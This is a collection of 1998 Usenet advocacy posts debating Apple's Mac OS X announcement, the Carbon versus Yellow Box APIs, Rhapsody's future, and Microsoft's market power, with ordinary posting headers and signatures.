Date: 12 May 1998 02:23:56 GMT
Organization: Idiom Communications
Message-ID: <6j8brs$l3$1@news.idiom.com>
References: <ericb-1105981718430001@132.236.171.104>
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit
Cc: ericb@pobox.com
Eric Bennett may or may not have said:
->
-> http://www.zdnet.com/macweek/mw_1219/nw_wwdcjobs.html
->
-> Apple announced today that its OS future is a revised MacOS "merged" with
-> a Rhapsody core, but the telling feature is that it largely retains (and
-> Apple is stressing) API compatibility with the current MacOS. So Apple is
-> effectively telling developers, "Screw Rhapsody." Ought to make the
-> NeXTies happy, right?
It's the porting strategy. Running in a penalty box was upsetting to mac
developers, and everyone had told appple that there out to be something like
a mac toolbox shared library, and the old mac apps should be able to run side
by side with the OpenStep apps.
Looks to me like they've decided that there were certain calls in the mac
toolbox that couldn't easily be implemented as a UNIX shared library, so
they're chopping down the mac toolbox API to eliminate the problem.
I didn't see anything indicating that the OpenStep APIs go away, and if I
were writing new apps for Mac, that's still the way I'd go. One code base,
and it will run on MacOS X, (which really sounds more and more like Rhapsody
chopped down until it's not much more than Mac OS), it will run on Windoze,
etc.
Speaking as a NeXT hacker, I'm not worried about it.
-jcr
From: rriley@yahoo.com (Rex Riley)
Newsgroups: comp.sys.next.advocacy,comp.sys.windows.advocacy,comp.sys.mac.advocacy
Subject: Re: OPEN LETTER TO Dr. Gregory Mankiw REGARDING MICROSOFT
MIME-Version: 1.0
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit
References: <35522293.731DC4F3@alum.mit.edu> <stevewhite-0705982058110001@d148-218.ce.mediaone.net>
<355337E7.AB397170@alum.mit.edu> <fuR41.360$sy4.1232831@news.rdc1.sdca.home.com>
<MPG.fbe216587510224989691@news.supernews.com> <8C251.531$sy4.1591596@news.rdc1.sdca.home.com>
<MPG.fbe7482b277f658989694@news.supernews.com> <2rs51.1084$sy4.1591596@news.rdc1.sdca.home.com>
<MPG.fc037b16e250e8598969e@news.supernews.com> <OzK51.1301$sy4.2902885@news.rdc1.sdca.home.com>
<MPG.fc155c57791d10b9896a5@news.supernews.com>
Message-ID: <_iP51.1533$sy4.3061975@news.rdc1.sdca.home.com>
Date: Tue, 12 May 1998 03:25:46 GMT
NNTP-Posting-Date: Mon, 11 May 1998 20:25:46 PDT
Organization: @Home Network
In <MPG.fc155c57791d10b9896a5@news.supernews.com> Donald Brown wrote:
> In article <OzK51.1301$sy4.2902885@news.rdc1.sdca.home.com>,
> rriley@yahoo.com says...
> > In <MPG.fc037b16e250e8598969e@news.supernews.com> Donald Brown wrote:
> > > I can go against Bill Gates. He's got lots of bucks that'll make it
> > > tough, but I can go against Bill Gates. If I go against Bill Clinton
and
> > > Janet Reno, they've got the guns.
> > >
> > >
> >
> > Images of STAC Electronics jump into my mind... sure, Big Guy :-)
>
> Didn't STAC eventually win?
>
>
Something like 6 years later and decimating Stac's Business Plan in the
interim. The hand slap to Microsoft was $ 120 million, I think...
> And, again--Gates can rip me off. Clinton and Reno can toss me in jail.
> I'll go up against Gates, thank you very much.
>
Sad...
> > > > Onto your dream... nice, warm, rewarding and naive. Netscape learned
all
> > > > roads to success lead through Redmond. Sun has refused to go there
and
> > built
> > > > there own road, Java. Apple built a better road but MS copied it.
I'm
> > sure
> > > > you've engineered your road through Redmond or hope soon to be "in"
> > Redmond
> > > > (ie. bought/partnered).
> > >
> > > Nope. I intend to turn DOWN an offer from Bill at some point. I'll
> > > remind him that I beat him a few years back when we were competing for
> > > the Macintosh LAN Email market, and I'll beat him again.
> > >
> > > > I personally wish you all the luck in the world and hoped for audience
for
> > > > your hard work and brilliant engineering. Protocols are like money.
> > Anyone
> > > > can print their own money and issue it. You just have to find someone
> > willing
> > > > to accept it. Success in the protocol business requires standards
> > acceptance
> > > > and widespread availability. The first expensive and the later a trip
> > through
> > > > Redmond. Sun's Java Standard the poster child of what happens when MS
is
> > left
> > > > out of the process. You will most likely be asked to sacrifice your
> > financial
> > > > interest in your protocol in exchange for an audience that will
listen.
> > >
> > > I may be asked. I won't accept.
> > >
> >
> > This isn't 1984 and the introduction of the Mac here. Most of the wired
World
> > is invested in MS technologies. Without a Mr. Bill plan and no
collaboration
> > in the public sector, you must have one hell of an invention. Say does
your
> > invention have anything to do with "Viagra"? :-)
>
> Nope. Right now, my invention is a very simple Intranet instant
> messaging program (http://www.prgrsoft.com, since you asked <grin>).
> I've got other ideas in the pipeline too.
>
That lil' baby could grow leggs :)
> I'm not really planning on going against the MS technologies, because
> I've got nothing better to offer. If I did, I would, but I don't. I've
> got other good things to offer.
>
I thought you had something new to offer in the way of protocol. I thought it
would appeal to MS product users.
> > > > A first born act of gifting your hard work into the public domain and
> > standards
> > > > body of the net.
> > >
> > > You mean, what you seem to want Microsoft to do with Windows?
> > >
> >
> > What hard work on MS behalf? They didn't invent the browser, they bought
one!
> > What browser market? They bought that too (loss leader style). We are
two
> > steps away from all that wonderful content Bill Gates invested so heavily
> > being IEx.x only accessible. That's what I mean. But you said Windows...
> > changing goal posts? Yeah well, he didn't invent Windows, he copied that.
> > But I'm less concerned with Windows than I am "re-packaging" Internet
access
> > as Windows.
>
> Gates has incredible power...until he starts using it.
>
>
Now there's a Gem... that one's a _keeper-.
best...
-r
From: don@misckit.com (Don Yacktman)
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy
Subject: Re: Rhapsody and games
Date: 12 May 1998 02:23:52 GMT
Organization: MiscKit Development
Message-ID: <6j8bro$sam$2@news.xmission.com>
References: <ericb-1105981718430001@132.236.171.104> <pulsar-ya02408000R1105981648110001@news-proxy.cso.uiuc.edu> <ericb-1105981832070001@132.236.171.104> <6j82vd$1cc$1@ironhorse.plsys.co.uk> <see-below-1105981809120001@209.24.240.244> <6j8a9i$g46$3@newsfep4.sprintmail.com>
macghod@concentric.net wrote:
> I was browsing through omniweb's page, and looking through the
> rhap talk postings, and saw a message from a apple employee
> saying (I hope I got this exactly right) dont expect Rhapsody
> to be a consumer gaming platform. (after I wrote this I
> decided to take the time to get the quote, here it is:)
>
>: my comment was taken out of context. There is/much discussion on my Mac
>: Games Dev programming list about John Carmack/Quake/Rhapsody.
>:
>: My comment was intended to stop discussion of Rhapsody as a games capable
>: consumer OS - which as I understand it, will never come to pass.
>:
>: Sorry if I was misunderstood.
Well, I say he's wrong. And one day I'll prove it; actions speak louder than
words.
http://www.gamekit.com/ will become interesting someday. (Nothing there yet,
sorry!) There will (someday) be a GameKit.gramework for Rhapsody, Mac OS X,
or whatever you want to call it... :-P
--
Later,
-Don Yacktman
don@misckit.com
<a href="http://www.misckit.com/don.html">My home page</a>
From: see-below@not-my-address.com (Matthew Vaughan)
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy
Subject: Re: Apple screws Rhapsody *and* Mac owners?
Date: Mon, 11 May 1998 20:07:29 -0700
Message-ID: <see-below-1105982007290001@209.24.240.244>
References: <ericb-1105981718430001@132.236.171.104> <pulsar-ya02408000R1105981648110001@news-proxy.cso.uiuc.edu> <ericb-1105981832070001@132.236.171.104> <pulsar-ya02408000R1105981844070001@news-proxy.cso.uiuc.edu> <35579E89.C14F33F8@milestonerdl.com>
In article <35579E89.C14F33F8@milestonerdl.com>, mark@milestonerdl.com wrote:
> Pulsar wrote:
>
> > Writting for the Yellow Box still has all the cross-platform advantages it
> > had before this announcement.
>
> Announced cross platform:MacOS 8
> NT 4/Win 95
> As of a date b4 May 11th. Lottsa rumors.
> Not a very long list....under OpenSTEP it was NT, Solaris, and HP-UX
>
> Now, it can only improve for a list, no?
>
> If this list isn't longer, the Facts about the Uncertanity and Doubt at
Apple will
> contiune.
>
> > . The Carbon APIs can in no way be considered a
> > replacement (as I see it).
>
> Lets hope Apple sees it that way too.
I agree. I actually like this strategy _if_ Yellow Box starts showing up
on more platforms as time goes on, so that it truly becomes a
cross-platform API (ie, not just Rhapsody and Windows).
....................................................
MATTHEW VAUGHAN
matthewv at best dot com (damn spammers...)
http://www.best.com/~matthewv/
....................................................
From: nurban@crib.bevc.blacksburg.va.us (Nathan Urban)
Newsgroups: comp.sys.next.advocacy
Subject: Re: MacOS X: it's all over
Date: 12 May 1998 00:46:36 -0400
Organization: Data Systems Consulting, Inc.
Message-ID: <6j8k7c$e5$1@crib.bevc.blacksburg.va.us>
References: <6j8fet$k2n$1@walter.cs.umd.edu> <slrn6lfj6b.l9u.sal@panix3.panix.com>
In article <slrn6lfj6b.l9u.sal@panix3.panix.com>, sal@panix3.panix.com (Salvatore Denaro) wrote:
> On 12 May 1998 03:25:17 GMT, Sean Luke <seanl@cs.umd.edu> wrote:
> >- Rhapsody will be "superceded" by MacOS X. Not complemented by.
> But MacOS X uses Rhapsody's Mach+BSD4.4 foundation and Dev tools.
The "BSD4.4" part is not yet clear. I'm anxiously waiting to hear
about that.
> >- MacOS X will have a "subset" of the Yellow Box APIS
> Where did *anything* say that? Check out http://www.stepwise.com/ and read
> Scotts WWDC notes on the topic. MacOS X will have *full* YB frameworks
> along with the Carbon frameworks and the Java frameworks.
He was referring to, "The new system will combine Mac APIs
with Rhapsody's Mach kernel and selected Yellow and Blue
box capabilities," with note to "selected", a quote from
http://www.zdnet.com/macweek/mw_1219/nw_wwdcexec.html.
> >- MacOS X will use QuickDraw as its drawing language (hence the "subset")
> Huh? Where did it say that DPS is being replaced?
Same article. This appears to be uncontestable. :( (But it doesn't
mean that Yellow won't use DPS -- it probably does a Windows/Yellow-style
approach -- just that the native imager is QuickDraw.)
> >- If you "carbonize" your code, it's compatible with MacOS X. But existing
> > Yellow Box apps aren't necessarily compatible, especially if they rely on
> > Display PostScript.
> Also where did they say this?
Well, given the "DPS is being removed thing", that would follow. But I
don't think it is.
From: "Brad Hutchings" <brad@hutchings-software.com>
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy
Subject: Re: Lawson's impact?
Date: 11 May 98 20:00:15 -0700
Organization: EarthLink Network, Inc.
Message-ID: <B17D095E-224EB0@153.37.17.44>
References: <6j893a$g46$1@newsfep4.sprintmail.com>
Mime-Version: 1.0
Content-Type: text/plain; charset=US-ASCII
Content-Transfer-Encoding: 7bit
nntp://news.earthlink.net/comp.sys.next.advocacy
>No, how is it a troll? I see no possible way how it could be a troll
against
>apple. Will Qd gx be a part of macos X?
>
It will _not_. Read the carbon white paper.
Brad
<mailto: "Brad Hutchings" brad@hutchings-software.com>
<http://www.hutchings-software.com>
Got OpenDoc? Got Cyberdog? Then try Rapid-I Button. Tried it? Then buy it!
Point your Cyberdog to the Hutchings Software web site.
From: rriley@yahoo.com (Rex Riley)
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy
Subject: Re: Rhapsody and games
MIME-Version: 1.0
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References: <ericb-1105981718430001@132.236.171.104> <pulsar-ya02408000R1105981648110001@news-proxy.cso.uiuc.edu>
<ericb-1105981832070001@132.236.171.104> <6j82vd$1cc$1@ironhorse.plsys.co.uk>
<see-below-1105981809120001@209.24.240.244> <6j8a9i$g46$3@newsfep4.sprintmail.com>
<6j8bro$sam$2@news.xmission.com>
Message-ID: <oFP51.1537$sy4.3061975@news.rdc1.sdca.home.com>
Date: Tue, 12 May 1998 03:49:40 GMT
NNTP-Posting-Date: Mon, 11 May 1998 20:49:40 PDT
Organization: @Home Network
In <6j8bro$sam$2@news.xmission.com> Don Yacktman wrote:
> macghod@concentric.net wrote:
> > I was browsing through omniweb's page, and looking through the
> > rhap talk postings, and saw a message from a apple employee
> > saying (I hope I got this exactly right) dont expect Rhapsody
> > to be a consumer gaming platform. (after I wrote this I
> > decided to take the time to get the quote, here it is:)
> >
> >: my comment was taken out of context. There is/much discussion on my Mac
> >: Games Dev programming list about John Carmack/Quake/Rhapsody.
> >:
> >: My comment was intended to stop discussion of Rhapsody as a games capable
> >: consumer OS - which as I understand it, will never come to pass.
> >:
> >: Sorry if I was misunderstood.
>
> Well, I say he's wrong. And one day I'll prove it; actions speak louder
than
> words.
>
> http://www.gamekit.com/ will become interesting someday. (Nothing there
yet,
> sorry!) There will (someday) be a GameKit.gramework for Rhapsody, Mac OS X,
> or whatever you want to call it... :-P
>
>
Geez, Don. I've hung through from 1990 on... Now, we're supposed to suck it
up and wait two more years for a market ? I'll have raised my children and
put them through College in that time. What a committment to vaporware .
From: Ari <ari@loa.com>
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy
Subject: Re: Apple screws Rhapsody *and* Mac owners?
Date: Mon, 11 May 1998 23:44:52 -0400
Organization: Providence College [The BIG East]
Message-ID: <3557C5B4.81BDA525@loa.com>
References: <ericb-1105981718430001@132.236.171.104> <pulsar-ya02408000R1105981648110001@news-proxy.cso.uiuc.edu> <ericb-1105981832070001@132.236.171.104> <pulsar-ya02408000R1105981844070001@news-proxy.cso.uiuc.edu>
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
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> > In article <pulsar-ya02408000R1105981648110001@news-proxy.cso.uiuc.edu>,
> > pulsar@springnet1.com (Pulsar) wrote:
> >
> > > You're overreacting! There are still things that are unclear! Making
> > > definitive judgements based on this evidence is only going to get you
> > > angry.
As far as I can tell, if Steve Jobs said the following (quoted from cnet), then
rhapsody is *clearly* screwed. Why would adobe, macromedia, MS even bother writing
for the yellow box now, they just have 10% more work to do for "carbon." Is this
"ASDE" just for shareware writers, ex-openstep developers, and college hackers?
Aren't there benefits to a completely object oriented environment?
"Rhapsody was great technology...The problem was when you ran existing
[applications] in the 'Blue Box,' you didn't get any new features," Jobs said.
"Nobody wanted to do this. We came to the conclusion that Rhapsody didn't give us
what we wanted."
What are these precious features that blue box apps can't do without?
The need for backward compatibility has set back personal computing about 10 years.
MacOS X still won't be as nice as a purely yellow box rhapsody on mach. All I want
is OpenStep 5 damnit :)
--
Ari
______________________________________________________________________
ari@loa.com
From: "Phil Brewster" <pjbrew@nospam.com>
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy
Subject: Re: Apple screws Rhapsody *and* Mac owners?
Date: 12 May 98 01:12:15 -0600
Organization: Netcom
Message-ID: <B17D5272-9AADF@204.31.112.115>
References: <3557C5B4.81BDA525@loa.com>
Mime-Version: 1.0
Content-Type: text/plain; charset=US-ASCII
Content-Transfer-Encoding: 7bit
nntp://nntp.ix.netcom.com/comp.sys.next.advocacy
On Mon, May 11, 1998 9:44 PM, Ari <mailto:ari@loa.com> wrote:
>> > In article <pulsar-ya02408000R1105981648110001@news-
>proxy.cso.uiuc.edu>,
>> > pulsar@springnet1.com (Pulsar) wrote:
>> >
>> > > You're overreacting! There are still things that are unclear! Making
>> > > definitive judgements based on this evidence is only going to get
you
>> > > angry.
>
>As far as I can tell, if Steve Jobs said the following (quoted from cnet),
>then
>rhapsody is *clearly* screwed. Why would adobe, macromedia, MS even
>bother writing
>for the yellow box now, they just have 10% more work to do for "carbon."
Is
>this
>"ASDE" just for shareware writers, ex-openstep developers, and college
>hackers?
>Aren't there benefits to a completely object oriented environment?
>
>"Rhapsody was great technology...The problem was when you ran existing
>[applications] in the 'Blue Box,' you didn't get any new features," Jobs
said.
>"Nobody wanted to do this. We came to the conclusion that Rhapsody didn't
>give us
>what we wanted."
>
>What are these precious features that blue box apps can't do without?
>The need for backward compatibility has set back personal computing about
>10 years.
>MacOS X still won't be as nice as a purely yellow box rhapsody on mach.
All
>I want
>is OpenStep 5 damnit :)
>
>
If 'Rhapsody' refers to the Yellow + Blue Box solution for providing
forward and backward compatibility to Mac users, then MacOS X is a definite
improvement by offering Yellow Box + Carbon, since existing Mac apps can
take advantage of all the 'modern OS buzzwords' _directly_ via the Carbon
API; something they would not have been able to do when running on the
existing MacOS API inside the Blue Box.
The Yellow Box is still there for new apps and forward compatibility, while
the quality of the backward compatibility is greatly improved, as I see it.
In a best-case scenario, this could theoretically free Rhapsody itself as a
high-end OS from needing the Blue Box at all after Carbon/MacOS X is
released. Rhapsody could, indeed, then evolve into a pure Yellow
Box/OpenStep OS with CR 2 (or 3?), while MacOS X solves the backward
compatibility problem for the mainstream Mac user much more elegantly than
by having them use the more limited Blue Box and then at some point 'take
the plunge' by leaping over to Yellow Box apps, ala Rhapsody CR1.
I agree that there is some risk in taking this approach, since existing Mac
developers will not be as compelled to write to the Yellow Box APIs in the
near term, further retarding the acceptance rate of 'native' Rhapsody in
the longer term, perhaps. On the other hand, assuming _complete_ Yellow Box
API support will be on MacOS X as well as on Rhapsody now (e.g., on both
Apple's 'mainstream' and 'high-end' OSes, ala Win95/NT), this new plan may
actually accelerate the acceptance process among mainstream (Mac) users,
since there will be less 'pain' associated with being able to convert to
apps based on Yellow Box among the majority of Apple's installed user base.
-- Even if that majority never adopts Rhapsody, why should YB developers
care, as long as they can sell cool YB stuff to everybody using MacOS X as
well now?.... :-)
The question of whether Rhapsody can survive as a 'high-end server OS' or
whatever Apple will be marketing it as, without it becoming Apple's
mainstream OS in the foreseeable near term, still lingers, but it existed
well before today's announcements (as in: since the August Macworld
reemphasis on MacOS, essentially....), IMNSHO.
Hopefully MacOS X will help YB apps attain critical mass among the existing
Mac user base more quickly than the Blue Box solution in Rhapsody would
have, and all will be to the good for everybody concerned.
Of course, there are still alot of open questions, particularly regarding
Apple's future plans for Rhapsody Intel and whether they've missed an
important window of opportunity by not pushing Rhapsody harder as a
high-end OS solution _before_ NT 5.0 finally ships. But I guess we'll have
to wait and see how they market it (_if_ they market it....), when CR 1
ships, won't we?.... :-)
FWIW, the Cnet quote and article is at:
http://www.news.com/News/Item/0,4,21982,00.html?st.cn.fd.tkr.news
-- I must admit, nowadays whenever I hear Steve Jobs say 'XYZ is great
technology, but....', I get a bit nervous too. (His words at the August '97
Macworld regarding OpenDoc, with uncannily similar phrasing, still ring in
my ears when I read this, but maybe it's just me.... <g>). But basically, I
think today's announcements point in a very positive direction (with all
the usual caveats, e.g., 'assuming they actually deliver on these
promises', etc....).
On a tangential note and for the record, 'MacWeek' was not the only one who
understood Jobs as saying that MacOS X would be G3-only; it was also in a
Reuters piece, at:
http://biz.yahoo.com/finance/980511/computers__2.html
That doesn't mean either one of them got it right, but I hope there's more
clarity about this too as the plan for MacOS X unfolds. -- The Apple press
release only states that it will be 'fully optimized' for G3s, yet also
doesn't state what other machines will be supported.....
http://biz.yahoo.com/prnews/980511/ca_mac_os__1.html
-- OTOH, if Apple and the media didn't leave all these open questions to
speculate about, what on earth would we do here on Usenet?..... ;-)
Cheers,
--------
Phil Brewster (pjbrew at ix dot netcom dot com)
"There is more to life than increasing its speed."
-- M. Gandhi
From: st942593@pip.cc.brandeis.edu (cpt kangarooski)
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy
Subject: Re: Apple screws Rhapsody *and* Mac owners?
Date: Tue, 12 May 1998 00:48:19 -0400
Organization: Brandeis University, Waltham MA
Message-ID: <st942593-1205980048190001@129.64.124.199>
References: <ericb-1105981718430001@132.236.171.104> <6j7rku$cbc$1@pith.uoregon.edu> <6j83ou$fog$1@flotsam.uits.indiana.edu>
In article <6j83ou$fog$1@flotsam.uits.indiana.edu>,
glhansen@copper.ucs.indiana.edu (Gregory Loren Hansen) wrote:
> In article <6j7rku$cbc$1@pith.uoregon.edu>,
> Wesley Horner <wesman@azrael.uoregon.edu> wrote:
> >Eric Bennett <ericb@pobox.com> wrote:
> >
> >> Apple announced today that its OS future is a revised MacOS "merged" with
> >> a Rhapsody core, but the telling feature is that it largely retains (and
> >> Apple is stressing) API compatibility with the current MacOS. So Apple is
> >> effectively telling developers, "Screw Rhapsody." Ought to make the
> >> NeXTies happy, right?
> >
> >Whoa! Slow down. They didn't even get that into it yet. They didn't say
> >anything about screwing the next community. All I saw was the mac os toolbox
> >implemented on top of rhapsody. That would be in addition to the openstep
> >stuff that is already there. I for one am excited that there will be
apps for
> >this thing that I am used to (photoshop, macromedia stuff, etc.). Don't judge
> >the software strategy untill you have heard the whole story.
>
> I really think the best and most painless strategy would be something like
> NeXT with a Macified GUI (and optional traditional GUI to keep the NeXTies
> happy), with MAE running on NeXT for backwards compatibiilty. They
> shouldn't "roll in" Rhapsody stuff, they should just *use* NeXT the way it
> was meant to be used, say goodbye to the era of Pascal-based system
> functions, and declare System N dead except in emulation.
>
> Either you jump off the diving board or you don't, it doesn't do much good
> to be hanging on to the edge with three fingers.
>
> They pulled it off with PowerPC. What's the basic problem with this one?
Well, they didn't do it with the PowerPC migration. There's a wonderful
little 68040LC emulator in the ROM of every Power Mac, and to this day a
large number of programs, APIs, etc. are emulated.
The best solution that Apple could come up with; what we actually got, was
a fast new machine that transparently ran (save for programs that wanted
an FPU) the old software alongside the new.
I suspect that MacOS X will be Rhapsody, with the Yellow Box (and a slew
of GUI modifications) but that can run Carbon apps in a transparent Blue
Box. Since MacOS 9 (Sonata) is set to ship at the exact same time, I
suspect it'll be akin to System 6.0.8 - a final OS for legacy machines.
Since MacOS 9 will run Carbon, it provides a transitory step, too. And for
those non-Carbon, non-Yellow Box apps that HAVE to be run on MacOS X -
well, you can still run then in the traditional Blue Box, even though it's
not a fun thing to have to do.
Carbon itself is just a step on the longer-term, but more satisfying goal
of rewriting apps for Yellow Box. 'Course, this last bit hinges on Apple
releasing MacOS X (sans Carbon and Blue Box, but plus Red Box (and maybe a
WinCarbon API set)) for Intel. Cross platform code is the only advantage
Yellow Box has over Carbon (for existing software).
Still, all we can do is guess, until more information comes out of the
WWDC and Apple.
--
-cpt kangarooski
-st942593@pip.cc.brandeis.edu
-<*>
From: sal@panix3.panix.com (Salvatore Denaro)
Newsgroups: comp.sys.next.advocacy
Subject: Re: MacOS X: it's all over
Date: 12 May 1998 04:15:07 GMT
Organization: PANIX Public Access Internet and Unix, NYC
Message-ID: <slrn6lfj6b.l9u.sal@panix3.panix.com>
References: <6j8fet$k2n$1@walter.cs.umd.edu>
On 12 May 1998 03:25:17 GMT, Sean Luke <seanl@cs.umd.edu> wrote:
>- Rhapsody will be "superceded" by MacOS X. Not complemented by.
But MacOS X uses Rhapsody's Mach+BSD4.4 foundation and Dev tools.
So who cares what they call it? They can call it NewtonOS 3,000
for all I care.
> Superceded by. MacOS *8* will be complemented by MacOS X.
Ok. So what? There are machines that won't run Rhapsody or MacOSX. They
can run MacOS 8/9 and run the Carbon and YB Apps.
>- MacOS X will have a "subset" of the Yellow Box APIS
Where did *anything* say that? Check out http://www.stepwise.com/ and read
Scotts WWDC notes on the topic. MacOS X will have *full* YB frameworks
along with the Carbon frameworks and the Java frameworks.
>- MacOS X will use QuickDraw as its drawing language (hence the "subset")
Huh? Where did it say that DPS is being replaced?
>- If you "carbonize" your code, it's compatible with MacOS X. But existing
> Yellow Box apps aren't necessarily compatible, especially if they rely on
> Display PostScript.
Also where did they say this?
>- MacOS X will not be UNIX
It will be Mach3+BSD4.4.
<<other fud trimmed>>
I read both the Apple PR statement and Scott's notes on StepWise. From what
I read MacOSX is Rhapsody renamed MacOS and with a better bluebox.
--
sal@panix.com Salvatore Denaro
"The reality of the software business today is that if you find
something that can make you ridiculously rich, then that's something
that Microsoft is going to take away from you." -- Max Metral
From: rriley@yahoo.com (Rex Riley)
Newsgroups: comp.sys.next.advocacy,comp.sys.windows.advocacy,comp.sys.mac.advocacy
Subject: Re: OPEN LETTER TO Dr. Gregory Mankiw REGARDING MICROSOFT
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References: <35522293.731DC4F3@alum.mit.edu> <stevewhite-0705982058110001@d148-218.ce.mediaone.net>
<355337E7.AB397170@alum.mit.edu> <fuR41.360$sy4.1232831@news.rdc1.sdca.home.com>
<MPG.fbe216587510224989691@news.supernews.com> <8C251.531$sy4.1591596@news.rdc1.sdca.home.com>
<MPG.fbe7482b277f658989694@news.supernews.com> <2rs51.1084$sy4.1591596@news.rdc1.sdca.home.com>
<MPG.fc037b16e250e8598969e@news.supernews.com> <OzK51.1301$sy4.2902885@news.rdc1.sdca.home.com>
<MPG.fc155c57791d10b9896a5@news.supernews.com> <_iP51.1533$sy4.3061975@news.rdc1.sdca.home.com>
<MPG.fc18603ab61a8e79896b1@news.supernews.com>
Message-ID: <AMQ51.1548$sy4.3106442@news.rdc1.sdca.home.com>
Date: Tue, 12 May 1998 05:05:36 GMT
NNTP-Posting-Date: Mon, 11 May 1998 22:05:36 PDT
Organization: @Home Network
In <MPG.fc18603ab61a8e79896b1@news.supernews.com> Donald Brown wrote:
> In article <_iP51.1533$sy4.3061975@news.rdc1.sdca.home.com>,
> rriley@yahoo.com says...
> > > And, again--Gates can rip me off. Clinton and Reno can toss me in jail.
> > > I'll go up against Gates, thank you very much.
> > >
> >
> > Sad...
>
> What's sad? You find something unusual that I'd rather compete at a
> disadvantage, than not compete from a jail cell?
>
>
.. just sad that going-in, a resigned fatalism exists that "Gates can rip me
off". I find it a sad comment on the "state of Vendor Affairs". A healthy
third party software community wouldn't choose competing and risk losing their
technology to a General Partner.
-r
From: "Lawson English" <english@primenet.com>
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy
Subject: Re: Apple screws Rhapsody *and* Mac owners?
Date: 11 May 1998 22:07:00 -0700
Organization: Primenet Services for the Internet
Message-ID: <B17D2701-14BC3@206.165.43.13>
References: <6j80h0$inc$1@murdoch.acc.Virginia.EDU>
nntp://news.primenet.com/comp.sys.next.advocacy
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David Yeh <dly8b@Virginia.EDU> said:
>In comp.sys.mac.advocacy Matt Kennel <mbkennel@yahoo.com> wrote:
>> Apple has been trying to push YB for a while, but the 'big hitters' kept
on
>> saying that wasn't good enough. It's not going to be Steved.
>
>I wondering why it wasn't good enough.
>
The same reason why GX not being cross-platform was a reason for Microsoft
and Adobe not to use GX.
You gotta understand, in today's high-tech world, "not xyz" is really a
euphamism for "so powerful that it threatens my powerbase so I'm going to
do everything I can to kill it."
----------------------------------------------------------------------
Want Apple to license Cyberdog for third-party development? Go to:
<http://www.pcsincnet.com/petition.html>
----------------------------------------------------------------------
From: "Lawson English" <english@primenet.com>
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy
Subject: Re: Lawson's impact?
Date: 11 May 1998 22:14:01 -0700
Organization: Primenet Services for the Internet
Message-ID: <B17D28A0-1AD70@206.165.43.13>
References: <B17D095E-224EB0@153.37.17.44>
nntp://news.primenet.com/comp.sys.next.advocacy
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Brad Hutchings <brad@hutchings-software.com> said:
>>No, how is it a troll? I see no possible way how it could be a troll
>against
>>apple. Will Qd gx be a part of macos X?
>>
>
>It will _not_. Read the carbon white paper.
What about OpenDoc? Is there any 68K code buried in there someplace or are
CD users safe for a while?
----------------------------------------------------------------------
Want Apple to license Cyberdog for third-party development? Go to:
<http://www.pcsincnet.com/petition.html>
----------------------------------------------------------------------
From: "Lawson English" <english@primenet.com>
Newsgroups: comp.sys.mac.programmer.misc,comp.sys.mac.advocacy,comp.sys.next.advocacy
Subject: Re: So THAT is the OS stratetgy?
Date: 11 May 1998 21:54:00 -0700
Organization: Primenet Services for the Internet
Message-ID: <B17D23E3-9037@206.165.43.13>
References: <6j83mg$1cc$2@ironhorse.plsys.co.uk>
nntp://news.primenet.com/comp.sys.mac.advocacy,
nntp://news.primenet.com/comp.sys.next.advocacy
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mmalcolm crawford <malcolm@plsys.co.uk> said:
>I really don't believe it.
>
>Apple announces that it's pouring resources into providing an even easier
>transition to the new OS for traditional MacOS developers, and yet Lawson
>still complains.
>
1) If a Blue Box for non-Carbon apps isn't supported, this really fractures
the MacOS development market.
2) if you haven't noticed, my favorite graphics engine didn't make the
grade.
The only way to produce 2D graphics using Carbon is 32-bit QuickDraw.
Apple spent 7 years to produce GX and all that is left is a buggy vector
graphics package (see QT-dev list for details) in QTML?
----------------------------------------------------------------------
Want Apple to license Cyberdog for third-party development? Go to:
<http://www.pcsincnet.com/petition.html>
----------------------------------------------------------------------
From: Henry McGilton <henry@trilithon.com>
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy
Subject: Re: Lawson's impact?
Date: Mon, 11 May 1998 22:13:05 -0700
Organization: Trilithon Research and Trading
Message-ID: <3557DA61.F8D7788C@trilithon.com>
References: <6j829e$9j3$1@newsfep4.sprintmail.com> <1d8w9sp.1qqgx4p6r334gN@rhrz-isdn3-p44.rhrz.uni-bonn.de> <6j893a$g46$1@newsfep4.sprintmail.com>
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macghod@concentric.net wrote:
* . . . . . . . . . . . . . . . . . . . . . . .
* No, how is it a troll? I see no possible way how it
* could be a troll against apple.
* Will Qd gx be a part of macos X?
The other day you promised to clean up your act . . .
........ Henry
=============================================================
Henry McGilton | Trilithon Software, and,
Boulevardier, Java Composer | Pacific Research and Trading
-----------------------------+-------------------------------
mailto:henry@trilithon.com | http://www.trilithon.com
=============================================================
From: Henry McGilton <henry@trilithon.com>
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy
Subject: Re: Lawson's impact?
Date: Mon, 11 May 1998 22:16:53 -0700
Organization: Trilithon Research and Trading
Message-ID: <3557DB45.6EC9184A@trilithon.com>
References: <6j829e$9j3$1@newsfep4.sprintmail.com> <B17CFBA1-1141D@206.165.43.26> <MPG.fc18109c8dbd1a19896ae@news.supernews.com>
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Donald Brown wrote:
* It is much harder to justify 2 years, or even 6 months,
* to rewrite our apps for Rhapsody. We will then have
* two completely separate code bases and fixing bugs or
* making improvements in one will have little correspondence
* to the other.
Ever tried developing for "Industry Standard Unix"? The you'll
really know what multiple code bases are all about.
* And, listening on this board and to our customers, the
* adoption of Rhapsody will be slow.
Yep --- it'll be a self-fulfilling prophecy. Why not bag it now
and develop for a single platform --- we won't mention its name.
........ Henry
=============================================================
Henry McGilton | Trilithon Software, and,
Boulevardier, Java Composer | Pacific Research and Trading
-----------------------------+-------------------------------
mailto:henry@trilithon.com | http://www.trilithon.com
=============================================================
From: rriley@yahoo.com (Rex Riley)
Newsgroups: comp.sys.next.advocacy
Subject: Re: MacOS X: it's all over
